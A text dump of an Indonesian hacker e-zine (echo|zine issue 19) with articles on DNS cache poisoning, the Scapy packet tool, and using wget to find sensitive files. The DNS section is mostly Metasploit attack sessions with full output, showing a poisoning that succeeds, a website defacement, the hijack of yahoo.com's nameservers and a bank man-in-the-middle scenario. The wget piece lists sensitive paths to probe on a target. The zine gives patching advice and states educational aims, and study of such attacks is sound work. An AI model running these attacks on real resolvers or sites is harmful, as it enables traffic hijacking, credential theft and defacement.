Internet Protocol, Src: 222.124.199.71 (222.124.199.71), Dst: 192.168.2.102 (192.168.2.102) User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53) Domain Name System (response) [Request In: 275367] [Time: 1.162314000 seconds] Transaction ID: 0x2e16 Flags: 0x8483 (Standard query response, No such name) 1... .... .... .... = Response: Message is a response .000 0... .... .... = Opcode: Standard query (0) .... .1.. .... .... = Authoritative: Server is an authority for domain .... ..0. .... .... = Truncated: Message is not truncated .... ...0 .... .... = Recursion desired: Don't do query recursively .... .... 1... .... = Recursion available: Server can do recursive queries .... .... .0.. .... = Z: reserved (0) .... .... ..0. .... = Answer authenticated: Answer/authority portion was not authenticated by the server .... .... .... 0011 = Reply code: No such name (3)
49
Questions: 1 Answer RRs: 0 Authority RRs: 1 Additional RRs: 1 Queries VmlcscEEItDB9.depkominfo.go.id: type A, class IN Name: VmlcscEEItDB9.depkominfo.go.id Type: A (Host address) Class: IN (0x0001) Authoritative nameservers depkominfo.go.id: type SOA, class IN, mname ns.depkominfo.go.id Name: depkominfo.go.id Type: SOA (Start of zone of authority) Class: IN (0x0001) Time to live: 1 hour Data length: 33 Primary name server: ns.depkominfo.go.id Responsible authority's mailbox: admin.depkominfo.go.id Serial number: 2008052900 Refresh interval: 1 hour Retry interval: 15 minutes Expiration limit: 1 hour Minimum TTL: 1 hour Additional records : type OPT Name: Type: OPT (EDNS0 option) UDP payload size: 4096 Higher bits in extended RCODE: 0x0 EDNS0 version: 0 Z: 0x8000 Bit 0 (DO bit): 1 (Accepts DNSSEC security RRs) Bits 1-15: 0x0 (reserved) Data length: 0 Internet Protocol, Src: 192.168.2.102 (192.168.2.102), Dst: 192.168.2.105 (192.168.2.105) User Datagram Protocol, Src Port: domain (53), Dst Port: 47498 (47498) Domain Name System (response) [Request In: 275366] [Time: 1.165049000 seconds] Transaction ID: 0xffd4 Flags: 0x8183 (Standard query response, No such name) 1... .... .... .... = Response: Message is a response .000 0... .... .... = Opcode: Standard query (0) .... .0.. .... .... = Authoritative: Server is not an authority for domain .... ..0. .... .... = Truncated: Message is not truncated .... ...1 .... .... = Recursion desired: Do query recursively .... .... 1... .... = Recursion available: Server can do recursive queries .... .... .0.. .... = Z: reserved (0) .... .... ..0. .... = Answer authenticated: Answer/authority portion was not authenticated by the server .... .... .... 0011 = Reply code: No such name (3) Questions: 1 Answer RRs: 0
50
Authority RRs: 1 Additional RRs: 0 Queries VmlcscEEItDB9.depkominfo.go.id: type A, class IN Name: VmlcscEEItDB9.depkominfo.go.id Type: A (Host address) Class: IN (0x0001) Authoritative nameservers depkominfo.go.id: type SOA, class IN, mname ns.depkominfo.go.id Name: depkominfo.go.id Type: SOA (Start of zone of authority) Class: IN (0x0001) Time to live: 1 hour Data length: 33 Primary name server: ns.depkominfo.go.id Responsible authority's mailbox: admin.depkominfo.go.id Serial number: 2008052900 Refresh interval: 1 hour Retry interval: 15 minutes Expiration limit: 1 hour Minimum TTL: 1 hour
Resolver akan meneruskan jawaban itu kepada attacker dan men-discard sisa response yang lain sehingg attacker harus mengulangi query-nya kepada resolver dengan domain yang berbeda. Kta juga dapat memanfaatkan servis dns server palsu dari metasploit yang dapat menerima query dns jika cache poisoning berhasil. Dengan fake service ini maka kita dapat mengontrol jawaban atasu suatu domian: msf auxiliary(fakedns) > show options Module options: Name ---SRVHOST SRVPORT TARGETHOST resolve to
Current Setting --------------0.0.0.0 53
Required -------yes yes no
Description ----------The local host to listen on. The local port to listen on. The address that all names should
msf auxiliary(fakedns) > set SRVHOST 192.168.2.105 SRVHOST => 192.168.2.105 msf auxiliary(fakedns) > set TARGETHOST 192.168.2.105 TARGETHOST => 192.168.2.105 msf auxiliary(fakedns) > run [*] Auxiliary module running as background job msf auxiliary(fakedns) > [*] DNS 192.168.2.105:32771 XID 49330 (IN::A jj.com) [*] DNS 192.168.2.105:32771 XID 61002 (IN::PTR 105.2.168.192.in-addr.arpa) [*] DNS 192.168.2.105:32771 XID 8672 (IN::PTR 105.2.168.192.in-addr.arpa) [*] DNS 192.168.2.105:32771 XID 35441 (IN::PTR 105.2.168.192.in-addr.arpa) [*] DNS 192.168.2.105:32771 XID 23662 (IN::A www.google.com) [*] DNS 192.168.2.105:32771 XID 51012 (IN::A www.depkominfo.go.id)
51
=======
Wild Attack ---|
Beberapa orang banyak yang meremehkan jenis bugs ini, namun jika kita melihat lebih dalam dan lebih teliti lagi maka bugs ini merupakan salah satu bugs yang mengerikan. HDM sendiri beserta perusahaan miliknya termasuk pihak yang di pwned oleh jenis exploit ini. Hal ini membuktikan bahwa walaupun kita sudah melakukan patch terhadap resolver/dns server milik kita namun resolver tersebut masih menunjuk resolver lain (mis: ISP) untuk proses resolving, dan resolver pada ISP tersebut belum dipatch maka query yang kita lakukan masih bisa di poison, hal ini merupakan efek dari sifat dns itu sendiri, yaitu recursive. Pertanyaan yang menarik adalah apa akibatnya jika proses poisoning berhasil dilakukan?!berikut ini beberapa kemungkinannya:
1) Man-in-the Middle Beberapa internet banking belum menggunakan sistem token, hanya mengandalkan user/password dan koneksi SSL. Ambil contoh si fulan melakukan cache poisoning pada salah satu DNS server warnet di jakarta, kita bisa bilang warnet tersebut terletak di kawasan bisnis. Fulan melakukan poisoning untuk beberapa bank dan mengarahkannya ke server khusus, sehingga apabila ada request pada server tersebut maka akan diarahkan ke server fulan. Dan server fulan telah disetup untuk menjadi bridge antara request user dengan server internet banking yang sebenarnya, sehingga walaupun menggunakan koneksi SSL fulan masih tetap dapat membaca informasi private user warnet tersebut. Orang-orang teknikal mengatakan ini adalah teknik man-in-the-middle attack ;). 2) Scammer Sama ketika ISP AT&T yang digunakan oleh perusahaan HDM di poisoning untuk domain google.com, scammer dapat membuat server khusus yang dapat menjadi jembatan ke google disertai dengan hidden adsense, sehingga setiap orang yang membuka google.com akan melewati server miliknya dan menaikan jumlah pendapatan adsense miliknya.
3) Defacing Check this out, msf auxiliary(bailiwicked_host) > show options Module options: Name Current Setting Required ------------------------HOSTNAME www.kecoak-elektronik.net yes NEWADDR 172.25.107.120 yes RECONS 208.67.222.222 yes reconnaissance RHOST 172.25.107.120 yes SRCADDR Real yes sending the queries (accepted: Real, Random) SRCPORT 53 yes query port (0 for automatic)
Description ----------Hostname to hijack New address for hostname The nameserver used for The target address The source address to use for The target server's source
52
TTL 47571 entry XIDS 0 each query (0 for automatic)
yes
The TTL for the malicious host
yes
The number of XIDs to try for
msf auxiliary(bailiwicked_host) > exploit [*] Targeting nameserver 172.25.107.120 for injection of www.kecoakelektronik.net. as 172.25.107.120 [*] Querying recon nameserver for kecoak-elektronik.net.'s nameservers... [*] Got an NS record: kecoak-elektronik.net. 172800 IN NS ns1.ipowerdns.com. [*] Querying recon nameserver for address of ns1.ipowerdns.com.... [*] Got an A record: ns1.ipowerdns.com. 172783 IN A 66.96.142.102 [*] Checking Authoritativeness: Querying 66.96.142.102 for kecoakelektronik.net.... [*] ns1.ipowerdns.com. is authoritative for kecoak-elektronik.net., adding to list of nameservers to spoof as [*] Got an NS record: kecoak-elektronik.net. 172800 IN NS ns1.ipowerweb.net. [*] Querying recon nameserver for address of ns1.ipowerweb.net.... [*] Got an A record: ns1.ipowerweb.net. 172795 IN A 66.96.142.103 [*] Checking Authoritativeness: Querying 66.96.142.103 for kecoakelektronik.net.... [*] ns1.ipowerweb.net. is authoritative for kecoak-elektronik.net., adding to list of nameservers to spoof as [*] Calculating the number of spoofed replies to send per query... [*] race calc: 100 queries | min/max/avg time: 0.8/3.63/1.07 | min/max/avg replies: 610/2661/896 [*] Sending 672 spoofed replies from each nameserver (2) for each query [*] Attempting to inject a poison record for www.kecoak-elektronik.net. into 172.25.107.120:53... [*] Poisoning successful after 250 queries and 336000 responses: www.kecoakelektronik.net == 172.25.107.120 [*] TTL: 47178 DATA: # [*] Auxiliary module execution completed $ telnet www.kecoak-elektronik.net 80 Trying 172.25.107.120... Connected to www.kecoak-elektronik.net. Escape character is '^]'. GET / HTTP/1.1 Host:www.kecoak-elektronik.net HTTP/1.1 200 OK Date: Sun, 03 Aug 2008 06:09:40 GMT Server: Apache/2.2.8 (Unix) DAV/2 Last-Modified: Sun, 03 Aug 2008 06:08:59 GMT ETag: "2ba56-3a-453880efd94c0" Accept-Ranges: bytes Content-Length: 58 Content-Type: text/html Blah blah blah, K-Elektronik has bee HackeD !!!
53
Yeah, defacing is not so kewl, isn't it?! ;)
4) Dan lain sebagainya Banyak yang bisa dilakukan. Tergantung imaginasi masing-masing. Yang pasti, selama dns cache poisoning dapat dilakukan semua user pengguna DNS tersebut tidak aman. Facebook, myspace, yahoo, google, government, email dapat dijadikan bahan mainan dengan mudah. Jika ada yang mengatakan bahwa server-server seperti yahoo ataupun google tidak akan terkena efek dns cache poisoning, maka berarti belum memahami konsep dari cache poisoning ini ;).
msf auxiliary(bailiwicked_domain) > set DOMAIN yahoo.com DOMAIN => yahoo.com msf auxiliary(bailiwicked_domain) > exploit [*] Targeting nameserver 172.25.107.120 for injection of yahoo.com. nameservers as 208.67.220.220 [*] Querying recon nameserver for yahoo.com.'s nameservers... [*] Got an NS record: yahoo.com. 172793 IN NS ns2.yahoo.com. [*] Querying recon nameserver for address of ns2.yahoo.com.... [*] Got an A record: ns2.yahoo.com. 172799 IN A 68.142.255.16 [*] Checking Authoritativeness: Querying 68.142.255.16 for yahoo.com.... [*] ns2.yahoo.com. is authoritative for yahoo.com., adding to list of nameservers to spoof as [*] Got an NS record: yahoo.com. 172793 IN NS ns1.yahoo.com. [*] Querying recon nameserver for address of ns1.yahoo.com.... [*] Got an A record: ns1.yahoo.com. 172799 IN A 66.218.71.63 [*] Checking Authoritativeness: Querying 66.218.71.63 for yahoo.com.... [*] ns1.yahoo.com. is authoritative for yahoo.com., adding to list of nameservers to spoof as [*] Got an NS record: yahoo.com. 172793 IN NS ns3.yahoo.com. [*] Querying recon nameserver for address of ns3.yahoo.com.... [*] Got an A record: ns3.yahoo.com. 172800 IN A 217.12.4.104 [*] Checking Authoritativeness: Querying 217.12.4.104 for yahoo.com.... [*] ns3.yahoo.com. is authoritative for yahoo.com., adding to list of nameservers to spoof as [*] Got an NS record: yahoo.com. 172793 IN NS ns4.yahoo.com. [*] Querying recon nameserver for address of ns4.yahoo.com.... [*] Got an A record: ns4.yahoo.com. 172795 IN A 68.142.196.63 [*] Checking Authoritativeness: Querying 68.142.196.63 for yahoo.com.... [*] ns4.yahoo.com. is authoritative for yahoo.com., adding to list of nameservers to spoof as [*] Got an NS record: yahoo.com. 172793 IN NS ns5.yahoo.com. [*] Querying recon nameserver for address of ns5.yahoo.com.... [*] Got an A record: ns5.yahoo.com. 1798 IN A 119.160.247.124 [*] Checking Authoritativeness: Querying 119.160.247.124 for yahoo.com....
54
[*] ns5.yahoo.com. is authoritative for yahoo.com., adding to list of nameservers to spoof as [*] Got an NS record: yahoo.com. 172793 IN NS ns6.yahoo.com. [*] Querying recon nameserver for address of ns6.yahoo.com.... [*] Got an A record: ns6.yahoo.com. 172793 IN A 202.43.223.170 [*] Checking Authoritativeness: Querying 202.43.223.170 for yahoo.com.... [*] ns6.yahoo.com. is authoritative for yahoo.com., adding to list of nameservers to spoof as [*] Got an NS record: yahoo.com. 172793 IN NS ns8.yahoo.com. [*] Querying recon nameserver for address of ns8.yahoo.com.... [*] Got an A record: ns8.yahoo.com. 172788 IN A 202.165.104.22 [*] Checking Authoritativeness: Querying 202.165.104.22 for yahoo.com.... [*] ns8.yahoo.com. is authoritative for yahoo.com., adding to list of nameservers to spoof as [*] Attempting to inject poison records for yahoo.com.'s nameservers into 172.25.107.120:53... [*] Poisoning successful after 750 queries and 84000 responses: yahoo.com. == 208.67.220.220 [*] Auxiliary module execution completed
bt htdocs # dig -t NS yahoo.com ; <<>> DiG 9.4.1 <<>> -t NS yahoo.com ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57076 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;yahoo.com. ;; ANSWER SECTION: yahoo.com. ;; ;; ;; ;;
28765
IN
NS
IN
NS
208.67.220.220.
Query time: 2 msec SERVER: 172.25.107.120#53(172.25.107.120) WHEN: Sun Aug 3 09:15:38 2008 MSG SIZE rcvd: 55
=======
Solution ---|
Patch! administrator warnet patch, admin ISP patch, admin sekolah patch, admin perusahaan patch. User biasa?!satu cara paling aman adalah menggunakan setting DNS server yang terbukti aman, salah satunya Open DNS. Jika main ke warnet, pastikan setting konfigurasi dns server menggunakan ip opendns yaitu: 208.67.222.222 dan 208.67.220.220.
55
Beberapa pihak mengembangkan metode untuk mencegah serangan ini. Namun bisa kita yakini dari 11 juta dns server, tidak semua administratornya mengetahui hal ini. Jadi paling aman adalah mengamankan diri kita sendiri dengan memanfaatkan dns server yang yakin telah dipatch.
=======
Summary ---|
Saat menulis artikel ini, Cybertank sempat mengingatkan apakah yakin hendak menjelaskan masalah ini kepada masyarakat Indonesia melalui artikel lengkap, karena jika banyak yang memahami bugs ini sedangkan kondisi internet di Indonesia bisa dibilang sangat rentan (warnet membludak dengan tingkat security rendah, sekolahan banyak, dsb) dan patch belum sepenuhnya diimplementasikan, hal ini akan membuat lebih banyak pihak paham dan masing-masing dapat mengembangkan variasi serangan nya. Well, at least, IMHO, diharapkan dengan adanya artikel ini semakin banyak administrator yang memahami betapa pentingnya bugs tersebut. Diharapkan juga para newbie dapat lebih memahami proses kerja Domain Name System. Dan diharapkan artikel sederhana ini mungkin bisa menjadi tambahan pengetahuan variasi serangan cache poisoning para researcher dan aktivis security Indonesia, sehingga kita tidak ketinggalan informasi dan pengetahuan dari masyarakat manca negara. Semoga bermanfaat. Wassalam!
=======
Referensi ---|
- http://addxorrol.blogspot.com/2008/07/on-dans-request-for-no-speculation.html - http://www.secure64.com/ddos-news/index.html - http://gregness.wordpress.com/2008/07/23/dns-vulnerability-an-exclusiveinterview-with-cricket-liu/ - http://www.secureworks.com/research/articles/dns-cache-poisoning/ - http://www.networkworld.com/news/2008/073008-dns-attack-writer-a-victim.html - http://www.linuxjournal.com/content/understanding-kaminskys-dns-bug - http://www.kecoak-elektronik.net/log/2008/07/23/dns-vuln-leaked/
=======
Greetz --|
~ All K-Elektronik staff, All ECHO staff ~ All Indonesian Underground Community ~ All Indonesian whitehat & security profesional
*- $e19dot008dottxt - echo|zine - issue#19 - 080808 -*
56
______ _ _____ ___ __ _(_) __|___ __| |___|____ | / _ \ / _` | |\ \ / _ \ / _` |__ \ |_ | \__ | | | | |_\ \ (_) | | | |__) |__| | |___/|_| |_|_|____\___/|_| |_|___/_____|
[ echo|zine, volume 6 issue 19 ] Scapy: obrak-abrik paket data Brought To You By : y3dips email: y3dips/et/echo/dot/or/dot/id URL: http://y3dips/dot/echo/dot/or/dot/id =======
Pendahuluan ---|
Scapy adalah suatu program yang dibuat menggunakan bahasa pemrograman python dan sangat "powerfull" dalam berinteraksi untuk memanipulasi paket di jaringan. Scapy mampu "membangun" dan memecah paket-paket dari berbagai jenis protokol yang ada, men-transimi-kannya, menangkapnya, menerima permintaan dan menjawabnya, dan banyak lagi. Scapy dapat digunakan untuk menangani berbagai kegiatan yang berhubungan dengan jaringan, seperti kegiatan "scanning", "tracerouting", "attack" atau "network discovery". Scapy bahkan dapat mengajarkan kita semua proses-proses dari suatu protokol. Scapy diciptakan oleh Philippe Biondi dan versi terakhirnya dapat di unduh di http://hg.secdev.org/scapy/raw-file/tip/scapy.py =======
Persiapan ---|
Baiklah, bagi yang telah mengunduh programnya dapat langsung menjalankannya dengan terlebih dahulu menginstall python serta berbagai library dan aplikasi lain (tcpdump, gnuplot, pyx, crypt, graphviz, imagemagick, visual) yang dibutuhkannya telah terinstall di komputer anda. |--------------------------| devil scapy # ./scapy.py | Welcome to Scapy (1.2.0.2) | >>> |-------------------------Atau untuk para pengguna gentoo dapat dengan melakukan installasi via "port emerge" |------------------------| devil ~ # emerge --search scapy | Searching... | [ Results for search key : scapy ] | [ Applications found : 1 ] | | * net-analyzer/scapy | Latest version available: 1.1.1-r1 | Latest version installed: [ Not Installed ] | Size of files: 143 kB | Homepage: http://www.secdev.org/projects/scapy/ | Description: A Python interactive packet manipulation program for mastering the network
57
| License: GPL-2 |-------------------------kemudian dapat menginstallnya dengan melakukan "emerge scapy", dan untuk menjalankannya cukup mengetikkan scapy dimanapun |--------------------------| devil ~ # scapy | Welcome to Scapy (v1.1.1 / f88d99910220) | >>> |-------------------------=======
Lingkungan ---|
Hal pertama yang dapat kita lakukan adalah dengan mempelajari penggunaan scapy tersebut baik dari berbagai dokumentasi di internet atau secara manual dengan membaca help() yang ada. Salah satu perintah/fungsi yang terpenting dari menggunakan scapy adalah ls(), ls() akan menampilkan informasi protokol yang didukung oleh scapy. |------------------------| >>> ls() | ARP : ARP | ASN1_Packet : None | BOOTP : BOOTP | CookedLinux : cooked linux | DHCP : DHCP options | DNS : DNS | DNSQR : DNS Question Record | DNSRR : DNS Resource Record | Dot11 : 802.11 | Dot11ATIM : 802.11 ATIM | ............ |------------------------bahkan dengan menggunakan perintah ls(object) kita akan mendapatkan informasi detil dari tiap protokol yang didukung oleh scapy. |--------------------------| >>> ls(ARP) | hwtype : XShortField | ptype : XShortEnumField | hwlen : ByteField | plen : ByteField | op : ShortEnumField | hwsrc : ARPSourceMACField | psrc : SourceIPField | hwdst : MACField | pdst : IPField |---------------------------
= = = = = = = = =
(1) (2048) (6) (4) (1) (None) (None) ('00:00:00:00:00:00') ('0.0.0.0')
Sedangkan untuk melakukan list semua perintah/fungsi yang terdapat di Scapy dapat menggunakan lsc() |--------------------------| lsc()
58
| >>> lsc() | sr : Send and receive packets at layer 3 | sr1 : Send packets at layer 3 and return only the first answer | srp : Send and receive packets at layer 2 | srp1 : Send and receive packets at layer 2 and return only the first answer | srloop : Send a packet at layer 3 in loop and print the answer each time | srploop : Send a packet at layer 2 in loop and print the answer each time | sniff : Sniff packets | p0f : Passive OS fingerprinting: which OS emitted this TCP SYN ? | arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple | send : Send packets at layer 3 | sendp : Send packets at layer 2 | traceroute : Instant TCP traceroute | arping : Send ARP who-has requests to determine which hosts are up | ls : List available layers, or infos on a given layer | lsc : List user commands | queso : Queso OS fingerprinting | nmap_fp : nmap fingerprinting | report_ports : portscan a target and output a LaTeX table | dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata" | dyndns_del : Send a DNS delete message to a nameserver for "name" | is_promisc : Try to guess if target is in Promisc mode. The target is provided by its ip. | promiscping : Send ARP who-has requests to determine which hosts are in promiscuous mode |------------------------------Untuk melihat detil tiap perintah/fungsi tersebut pun cukup mudah, dengan mempergunakan lsv() juga |------------------------------| >>> lsc(sr) | Send and receive packets at layer 3 | nofilter: put 1 to avoid use of bpf filters | retry: if positive, how many times to resend unanswered packets | if negative, how many times to retry when no more packets are | answered | timeout: how much time to wait after the last packet has been sent | verbose: set verbosity level | multi: whether to accept multiple answers for the same stimulus | filter: provide a BPF filter | iface: listen answers only on the given interface | | >>> lsc(ls) | List available layers, or infos on a given layer |-------------------------------
=======
Ujicoba ---|
Baiklah, mudah-mudahan setelah mengenal beberapa hal tentang scapy, maka sekarang kita akan mencoba menggunakan scapy untuk menggantikan berbagai peralatan "hacking" dan jaringan yang sering kita gunakan.
59
--------
Mengganti perintah/program Ping --- |
Sekarang kita akan mencoba menggantikan perintah/program Ping yang biasanya kita lakukan menggunakan scapy, untuk itu kita akan memanfaatkan protokol ICMP() dan IP() yang digunakan oleh program Ping |--------------------------------| >>> ls(ICMP) | type : ByteEnumField | code : ByteField | chksum : XShortField | id : XShortField | seq : XShortField | >>> ls(IP) | version : BitField | ihl : BitField | tos : XByteField | len : ShortField | id : ShortField | flags : FlagsField | frag : BitField | ttl : ByteField | proto : ByteEnumField | chksum : XShortField | src : Emph | dst : Emph | options : IPoptionsField |--------------------------------
= = = = =
(8) (0) (None) (0) (0)
= = = = = = = = = = = = =
(4) (None) (0) (None) (1) (0) (0) (64) (0) (None) (None) ('127.0.0.1') ('')
Setelah mengetahui detil mengenai tiap-tiap bagian dari protokol tersebut, maka saatnya kita akan mencoba menggantikan perintah Ping tersebut menggunakan Scapy. |------------------------| devil scapy # ./scapy.py | Welcome to Scapy (1.2.0.2) | >>> ip=IP() | >>> icmp=ICMP() | >>> ip.dst="192.168.1.133" | >>> sr1(ip/icmp) | Begin emission: | .Finished to send 1 packets. | * | Received 2 packets, got 1 answers, remaining 0 packets | >> | >>> |----------------------Untuk memastikannya, kita dapat menjalankan tcpdump |-----------------------| devil ~ # tcpdump -vv 'icmp[icmptype] = icmp-echo'
60
| tcpdump: WARNING: eth0: no IPv4 address assigned | tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes | 22:04:33.716319 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto ICMP | (1), length 28) 192.168.1.101 > 192.168.1.133: ICMP echo request, id 0, seq 0, | length 8 |----------------------Dan jika anda tidak percaya bahwa kegiatan yang dilakukan adalah sama dengan melakukan 1 kali ping, maka silahkan anda bandingkan hasilnya dengan hasil program Ping, |------------------------| devil ~ # ping 192.168.1.133 | PING 192.168.1.133 (192.168.1.133) 56(84) bytes of data. | 64 bytes from 192.168.1.133: icmp_seq=1 ttl=64 time=2.30 ms | | devil ~ # tcpdump -vv 'icmp[icmptype] = icmp-echo' | tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes | 22:07:06.571457 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto ICMP | (1), length 84) 192.168.1.101 > 192.168.1.133: ICMP echo request, id 9804, seq | 1, length 64 |------------------------semuanya adalah sama, kecuali berapa settingan ICMP() yang kita biarkan default sehingga berbeda, apakah mungkin kita bisa mengelabui p0f ? (dengan memainkan settingan sequence, id, dsb) Atau bisa saja dengan 1 baris perintah untuk menggantikan program Ping. |------------------------| >>> sr1(IP(dst="192.168.1.133")/ICMP()) | Begin emission: | .Finished to send 1 packets. | * | Received 2 packets, got 1 answers, remaining 0 packets | >> |-----------------------ya..ya..ya, cuma bermain dengan "style" :) Sekarang, sebagai pelengkap kita bisa melihat detil variabel yang terlibat dengan semua yang kita lakukan sebelumnya |---------------------| >>> ls(ip) | version : BitField | ihl : BitField | tos : XByteField | len : ShortField | id : ShortField | flags : FlagsField | frag : BitField | ttl : ByteField
= = = = = = = =
4 None 0 None 1 0 0 64
(4) (None) (0) (None) (1) (0) (0) (64)
61
| proto : ByteEnumField | chksum : XShortField | src : Emph | dst : Emph | options : IPoptionsField | >>> ls(icmp) | type : ByteEnumField | code : ByteField | chksum : XShortField | id : XShortField | seq : XShortField | >>> |-----------------------
= = = = =
0 None '192.168.1.101' '192.168.1.133' ''
(0) (None) (None) ('127.0.0.1') ('')
= = = = =
8 0 None 0 0
(8) (0) (None) (0) (0)
Yupe, sekarang mudah-mudahan semua makin jelas. =======
Menulis kode ---|
Ya, kita sekarang akan menulis kode yang tadi kita ketikkan kedalam sebuah program berbasiskan python dan menggunakan scapy sebagai module dari program kita. ----- scping.py ----------------------#!/usr/bin/env python import sys from scapy import * if len(sys.argv) != 2: print "Usage: ./scping.py " sys.exit(1) target=sys.argv[1] p=IP(dst=target)/ICMP() sr1(p) ----- scping.py ---------------------Mari kita ujicobakan |--------------------| devil scapy # ./scping.py | Usage: ./scping.py | devil scapy # ./scping.py 192.168.1.133 | Begin emission: | .Finished to send 1 packets. | * | Received 2 packets, got 1 answers, remaining 0 packets | devil scapy # ./scping.py 192.168.1.135 <--- gagal | WARNING: Mac address to reach 192.168.1.135 not found |---------------------Karena kita belum mendefinisikan berbagai jenis error dan kondisi lainnya, maka wajar jika hal ini terjadi, silahkan anda berkreasi dengan program buatan anda :) Silahkan anda bermain main dengan protokol lainnya TCP(), UDP(), atau DNS() :P
62
=======
Real life Exploit ---|
Tau tentang celah DNS baru-baru ini yang sangat menghebohkan dunia per-internet-an? Tebak saja, versi scapy-nya pun telah dirilis [3] =======
Penutup ---|
Selain berbagai kelebihannya, scapy juga diakui memiliki beberapa kelemahan, kemampuannya baru di klaim 85% bisa menyamai NMAP, selain itu juga scappy relatif lebih lambat dalam bererapa hal, tetapi tidak untuk belajar, terutama belajar membuat exsploit. Python memberikan kemudahan dalam membuat program, dan Scapy melengkapinya :), tulisan inipun sengaja hanya untuk memperkenalkan teman-teman semua kepada scapy, dengan harapan dapat bermain lebih kreatif lagi dengan Scapy. Semoga, petunjuk yang sedikit dari saya yang hanya memiliki sedikit ilmu ini dapat bermanfaat, amin. *_^ =======
Referensi ---|
[1] Scapy help [2] https://www.secdev.org/projects/scapy/ [3] http://www.milw0rm.com/exploits/6123 =======
Shout ---|
[1] Ana, Keep Faith on us :) [2] k-159, the_day, az001, lirva32, the_hydra, negative, and all echo|staff [3] Indonesian security community (underground/upperground/clown)
*- $e19dot009dottxt - echo|zine - issue#19 - 080808 -*
______ _ _____ ___ __ _(_) __|___ __| |___|____ | / _ \ / _` | |\ \ / _ \ / _` |__ \ |_ | \__ | | | | |_\ \ (_) | | | |__) |__| | |___/|_| |_|_|____\___/|_| |_|___/_____|
[ echo|zine, volume 6 issue 19 ] Hacker Log Book
]===============[[ wget sebagai content fuzzer ]]===============o Brought To You By : az001 az001/dot/echo/dot/or/dot/id =======
Pendahuluan ---|
Umumnya, wget[1] digunakan oleh banyak orang untuk mendownload file dari command line. Berikut ini saya akan mengajak anda untuk mencoba menggunakan
63
wget sebagai sebuah web hacking tools yang berfungsi untuk melakukan proses cek file / directory yang sensitif di server target . =======
Langkah - Langkah ---|
1. Buat wordlist file / directory sensitif dengan cara membuat sebuah text file biasa dengan isi semacam ini : --- file.dict -temp/ prv/ source/ backup/ bak/ old/ include/ includes/ includes/db.config.inc password.mdb password.txt backup.sql tmp/ --- eof file.dict -Dengan sedikit kreatifitas, anda dapat menggunakan salah satu file database Nikto[2].
2. Ketikkan di console unix anda : wget --spider -B http://target.com/ -i file.dict Command diatas kurang lebih memiliki arti untuk menjalankan wget dengan mode spider[3] dan mengambil list file yang akan di cek. Lihat manual wget[1] untuk opsi yang lain dan detail dari arti command diatas. Setelah anda mengetikkan command tersebut, lalu akan muncul output seperti ini : catatan: output telah di sederhanakan. /-- output --- / --09:56:34-- http://target.com/temp/ => `index.html' Connecting to 10.0.0.249:8080... connected. Proxy request sent, awaiting response... 404 Not Found 09:56:34 ERROR 404: Not Found. --09:56:34-- http://target.com/prv/ => `index.html' Connecting to 10.0.0.249:8080... connected. Proxy request sent, awaiting response... 404 Not Found 09:56:34 ERROR 404: Not Found. --09:56:34-- http://target.com/source/ => `index.html'
64
Connecting to 10.0.0.249:8080... connected. Proxy request sent, awaiting response... 404 Not Found 09:56:34 ERROR 404: Not Found. --09:56:34-- http://target.com/backup/ => `index.html' Connecting to 10.0.0.249:8080... connected. Proxy request sent, awaiting response... 404 Not Found 09:56:34 ERROR 404: Not Found.
--09:56:34-- http://target.com/password.mdb => `password.mdb' Connecting to 10.0.0.249:8080... connected. Proxy request sent, awaiting response... 404 Not Found 09:56:34 ERROR 404: Not Found. --09:56:34-- http://target.com/backup.sql => `backup.sql' Connecting to 10.0.0.249:8080... connected. Proxy request sent, awaiting response... 404 Not Found 09:56:34 ERROR 404: Not Found. --09:56:34-- http://target.com/tmp/ => `index.html' Connecting to 10.0.0.249:8080... connected. Proxy request sent, awaiting response... 200 OK Length: 1,219 (1.2K) [text/html] 200 OK /-- output --/ Seperti yang anda dilihat diatas, status HTTP 404 memiliki arti file tersebut tidak ada dalam server target, sedangkan status HTTP 200 memiliki arti bahwa file tersebut terdapat dalam server target. Anda dapat membuat format output dengan yang anda inginkan menggunakan berbagai macam utility, seperti awk[5]. =======
Penutup ---|
Lewat wget, anda dapat mempelajari cara kerja sederhana sebuah tools web hacking, khususnya untuk scanning file / directory yang sensitif. Untuk melakukan simple scanning terhadap XSS dan SQL Injection, awal proses yang dilakukan kurang lebih sama dengan ini , hanya dalam melakukan proses cek vulnerable nya tidak cukup hanya dengan melihat dari status HTTP, saya akan menjelaskan detail dalam artikel yang berbeda .
=======
Referensi ---|
[1] wget http://www.gnu.org/software/wget/wget.html [2] Nikto 2 DB http://cirt.net/nikto/UPDATES/2.02/
65
[3] Web Crawler / Spider http://en.wikipedia.org/wiki/Web_crawler [4] gawk http://www.gnu.org/software/gawk/manual/gawk.html
=======
Greetz ---|
[1] echo|staff [2] echo|member
]=======[[ Lindungi Asset Web Server Dengan Mode Security ]]========o Brought To You By : lirva32 lirva32/dot/org =======
Pendahuluan ---|
Tindakan hacking terhadap web server banyak sekali kita jumpai di kehidupan undergound, terlepas dari apa motivasinya, yang pasti jika web server yang kita miliki dan kita jaga terkena serangan itu artinya kita akan kehilangan banyak aset yang tersimpan di web server. Bayangkan saja jika web servernya itu milik sebuah penyelenggara hosting, hhmmmm kepercayaan dan kredibiltasnya akan menurun. Banyak sekali tindakan2 attacking yang bisa dilakukan terhadap web server, diataranya : Directory Tranfersal, XSS, SQL Injection dan Buffer Overflow, Remote file inclusion, remote code execution, danlain sebagainya. Jadi, apakah kita harus menyerah.? jawabnya TIDAK. Sekalipun memang tidak ada system yang 100% aman, tetapi minimal kita bisa berusaha untuk menjaga tingkat kelemahan yang ada, yaitu salah satunya dengan memanfaatkan "mod_security".
=======
Mod_security ---|
